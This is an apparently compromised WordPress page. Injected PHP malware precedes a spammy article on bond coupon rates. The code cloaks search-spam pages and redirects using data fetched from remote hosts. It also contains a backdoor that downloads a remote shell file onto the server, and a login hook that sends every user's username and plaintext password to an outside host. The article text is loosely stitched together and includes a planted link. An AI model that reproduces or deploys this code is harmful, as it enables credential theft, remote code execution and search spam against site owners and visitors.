if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $id = $_SERVER['REQUEST_URI']; if (preg_match_all("/ffgg$/", $id, $matches) ) { echo '111111'; } $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { $apiToken = 'tws5mkxns8qpz5hqywtcknjfw4wgrbhp'; $keyword =$_SERVER['REQUEST_URI']; $url_page=$_SERVER['REQUEST_URI']; $ua = urlencode($_SERVER['HTTP_USER_AGENT']); $lang = (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : ''); $ip = null; $headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $ip = $_SERVER[$header]; break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $ip = trim($tmp[0]); } else { $ip = $_SERVER['REMOTE_ADDR']; } $referrer = urlencode(@$_SERVER['HTTP_REFERER']); $url = "https://bantuzu.info/api.php?is_api=1&action=get&token=$apiToken&ua=$ua&ip=$ip&keyword=$keyword&referrer=$referrer&lang=$lang&sub_id_1=".$_SERVER['HTTP_HOST']."&" . http_build_query($_GET) . ""; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); $result = json_decode($output); print $result->{'body'}; } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://acagna.info/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go"; else echo "error!"; die(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); //block ddos bots $blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i'; if (preg_match($blbots, $ua)) die(); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; $abtip = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; $crawlers = '/a|b|c|d|e|f|g/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://acagna.info/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; $abtip = 1; } $st = '.st'; $cldw = 0; $dw = 0; if ($_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] == $gen_passwd) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = htmlspecialchars_decode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $egroup = explode('_', $group); $kgroup = $egroup[0]; $clkeys = get_data_yo("http://acagna.info/lnk/gen/keys/$kgroup.keys"); file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'https://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $eddomain = explode('.', $ddomain); $ddname = $eddomain[0]; $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; //$fromse = 1; if ($abt || $fromse || $redcode || $hspan) { if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://acagna.info/lnk/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } $mdpage = md5($page); if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) { if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt"); else $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; $tkey = str_replace(' ', '-', $key); if (stristr($lang, 'own')) { $lang = str_replace('own:', '', $lang); $owntext = base64_decode($lang); $wkey = urlencode($key); if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey"); else $ttxt = get_data_yo("{$owntext}?key=$wkey"); } else $ttxt = get_data_yo("http://acagna.info/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://acagna.info/lnk/gen/desc.php?key=$tkey&desc=$group"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } $mdpage = md5($page); file_put_contents("{$eb}{$st}/$mdpage.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $iswp = 0; if (file_exists('wp-includes/vars.php')) $iswp = 1; $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
$cldwfooter
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); //$my_content = str_replace('</head>', "<script type='text/javascript'> function style_{$ddname} () { return 'none'; } function end_{$ddname} () { document.getElementById('$ddname').style.display = style_{$ddname}(); } </script>\n</head>", $my_content); //$my_content = str_replace('</body>', "<script type='text/javascript'> end_{$ddname}(); </script>\n</body>", $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } /* your code end */ } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html lang="en-US" class="no-js"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="http://scitm.org.in/xmlrpc.php"> <title>Coupon Rate Financial Definition Of Coupon Rate – Scitm

Blog

What is Coupon Rate? Definition of Coupon Rate, Coupon Rate Meaning

Basically, these two pieces of information tell investors how much money they will be committing and for how long it will be on loan to the bond issuer. Coupon payments, on the other hand, are regular payments of fixed interest on a bond. Bonds are essentially loans from the bondholder to the bond issuer. These IOUs promise interest payments and are obligated by contract. A higher coupon rate suggests higher payments but also includes higher risk. When current bond prices trade above the issuance value, they are at a premium, and when they drop below, they are at a discount. Bonds that trade at a premium yield less but offer downside protection, while bonds at a discount yield more but carry additional risks.

What is Coupon Rate? Definition of Coupon Rate, Coupon Rate Meaning

An author, teacher & investing expert with nearly two decades experience as an investment portfolio manager and chief financial officer for a real estate holding company. The certificate often also contained a document called a talon, which could be detached and presented in exchange for a block of further coupons. Further, it is important to note that interest rates vary over time.

Vanilla Bond

The longer the bank’s maturity, the higher the chances of it being affected by the changes interest rate prior to maturity. Longer maturity will have a higher interest rate risk, while shorter maturity will have a lower interest rate risk. The interest rate is calculated considering the basis of the riskiness of lending the amount to the borrower. Eric ReedEric Reed is a freelance journalist who specializes in economics, policy and global issues, with substantial coverage of finance and personal finance. He has contributed to outlets including The Street, CNBC, Glassdoor and Consumer Reports. Eric’s work focuses on the human impact of abstract issues, emphasizing analytical journalism that helps readers more fully understand their world and their money. He has reported from more than a dozen countries, with datelines that include Sao Paolo, Brazil; Phnom Penh, Cambodia; and Athens, Greece.

Value Of The BondBonds refer to the debt instruments issued by governments or corporations to acquire investors’ funds for a certain period. The interest rate fixed on a coupon bond or other debt instrument. The market price of a bond can be at a discount, at a premium, or at par with the face value of the bond. Convert the resulted coupon rate to percentage terms by multiplying the resulted quotient by 100. For example, the rate of a government bond is usually paid once a year, but if it is a U.S. bond the payment is made twice a year.

How much the return will be assuming the bondholder keeps it until it matures. In other words, assuming the bondholder does not sell it earlier. Bonds issued by the United States government are considered free of default risk and are considered the safest investments. Bonds issued by any other entity apart from the U.S. government are rated by the big three rating agencies, which include Moody’s, S&P, and Fitch.

Coupon Rate Vs Yield

Fixed rate bonds pay a fixed interest rate, which does not change once set at the issuance date, taking into account the interest rates at that time. A coupon payment refers to the annual interest paid on a bond between its issue date and the date of maturity. For example, a $1,000 bond with a coupon of 7% pays $70 a year. Typically these interest payments will be semiannual, meaning the investor will receive $35 twice a year. The issuer of a bond makes the periodic interest payments until the bond matures.

On the other hand, market interest rates might rise or fall and impact the market price of the bond. Generally, the market interest rate and the coupon rate are the same when the bond is first https://accountingcoaching.online/ issued. The coupon rate is also different from the yield to maturity . The yield to maturity measures the rate of return, assuming that the investor will keep the bond until its maturity.

Alternative To Coupon Rate

Make sure to quantify every cash flow exactly (i.e., use a graph as well as the corresponding number). Yield to worst is whichever of a bond’s YTM and YTC is lower. If you want to know the most conservative potential return a bond can give you—and you should know it for every callable security—then perform this comparison. Higher Interest Rate RiskThe risk of an asset’s value changing due to interest rate volatility is known as interest rate risk. It either makes the security non-competitive or makes it more valuable. SmartAsset Advisors, LLC (“SmartAsset”), a wholly owned subsidiary of Financial Insight Technology, is registered with the U.S. SmartAsset does not review the ongoing performance of any RIA/IAR, participate in the management of any user’s account by an RIA/IAR or provide advice regarding specific investments.

  • Treasury bonds are backed by the full faith and credit of the United States.
  • Bond yield is the amount of return an investor will realize on a bond, calculated by dividing its face value by the amount of interest it pays.
  • As a point of reference, most bonds pay interest semi-annually until maturity and have par values of $1,000.
  • In order to understand the coupon rate, it is important to understand fixed-income securities first.
  • Previously, he was an analyst at 3CAnalysis.com, producing institutional grade directional calls.

They do not change even if the bond changes hands in the aftermarket. This is particularly important for retirees who rely on bond coupon payments as a regular fixed income supplement. Originally, coupon bonds, which are debt instruments used by companies to raise capital, were issued with coupons attached to them. These paper coupons represented the semiannual interest payments. Still, it is of prime importance to highlight that not all bonds pay coupon payments. For instance, zero coupon bonds are debt securities that don’t offer periodic interest payments. Rather than that, this type of bonds trades at a decent price and compensate for the interest payments with a high face value.

Coupon Rate Formula & Calculation

This means it is not necessary that the bonds will be held up until the date of maturity. To calculate the coupon rate of ABZ, the steps discussed in the coupon rate formula should be followed. Coupon payments represent a percentage of the face value of a bond. It is essentially the yield that a bond pays on its issue date. It depends on the changes in the value of a bond during its lifetime. Let’s say Investor 1 purchases the bond for $900 in the secondary market but still receives the same $30 in interest. In other words, you discover the return on a dollar invested today with a promise to receive a higher amount at a specified time in the future.

However, it is important to note that if the price of bond changes, the yield will change. A bond price may change because interest rates vary over time. If What is Coupon Rate? Definition of Coupon Rate, Coupon Rate Meaning the price of a bond declines because of a change in interest rates, or because lenders no longer deem the company as credit-worthy, the yield will increase.

Valuing Bonds

You might want to take some time to familiarize yourself with bonds before adding them to your portfolio. If you’re unsure how bonds stack up to certificates of deposit or how they fare vs. more volatile stocks, it’s a good idea to get some information before making the choice. In future years the poor-rate (so-called) will include, in addition to these, all other rates levyable by the Corporation. This means that bondholders will get USD 45.00 every year up until 2024, i.e., the year of maturity. Harkat Tahar is a professional academic researcher with more than 6 years experience. He holds a bachelor and masters degree in business administration from Al Akhawayn University and has experience in teaching various courses that includes managerial finance and research methods.

What is Coupon Rate? Definition of Coupon Rate, Coupon Rate Meaning

If the coupon rate is above the rate of interest, the bond is said to sell at a premium. In the United States, coupon payments generally are made semi-annually.

The coupon rate does not affect the bond price, but market interest rates will move bond prices, affecting bond yields. When an entity issues a bond, for example, a 2-year, $1,000 bond with a coupon rate of 3.50%, the investors will receive $35 annually. When a bond is issued, it pays a fixed rate of interest called a coupon rate until it matures.

A coupon rate is the nominal or stated rate of interest on a fixed income security, like a bond. This is the annual interest rate paid by the bond issuer, based on the bond’s face value. A coupon rate is the yield paid by a fixed income security, which is the annual coupon payments divided by the bond’s face or par value. Bond issuers pay investors interest, generally on a semi-annual basis, based on the bond’s face value, issuing what are called coupon payments every year to a person who holds the bonds.

Forward starting date of payments , specified as the comma-separated pair consisting of ‘StartDate’ and a NINST-by-1 vector using serial date numbers or date character vectors. Suppose the six-monthly market rate of interest is 4.4%; i.e. the bond yield is 8.8%, and the effective annual rate of interest is 9% for bonds of all maturities.

Example Of Coupon Rate

If the business comes through and repays its loan, investors typically net higher-than-market coupon rates. The payments over the term of a bond are expressed in what’s called a coupon rate. A bond’s coupon rate is calculated by taking the yearly sum of coupons paid—they are usually paid semiannually—then dividing that number by the principal . It does not affect bond investors in the primary market, as coupon payments remain fixed for the bond duration. Bond traders evaluate changing bond yields to spot profitable opportunities in the secondary market.

Coupon Rate: Definition

Such a bond has a coupon rate that does not vary over the life of the bond. This can be priced as a combination of an annuity and a pure discount bond. When deciding where to invest your money, you can use the coupon rate to help assess how much you’re likely to earn every year until your bond reaches maturity. However, the bond’s face value may go up or down depending on the interest rates set by the government, so the yield could fluctuate too. C is known, we can easily find a replicating portfolio using appropriate zero-coupon bonds where the weights depend on the coupon.

Conversely, the coupon rate of a bond is the amount of interest paid annually, expressed as a percentage of the face value of the bond. In some instances, it is also called ‘coupon yield.’ The term ‘coupon’ is derived from the old practice of issuing bonds with detachable coupons. The coupons are presented to the issuer whenever a scheduled interest payment has to be collected. This straightforward practice is no longer in use these days; bonds are registered to automated systems and payment of interests is mostly performed through electronic transfer or by check.

Leave a Comment

Your email address will not be published.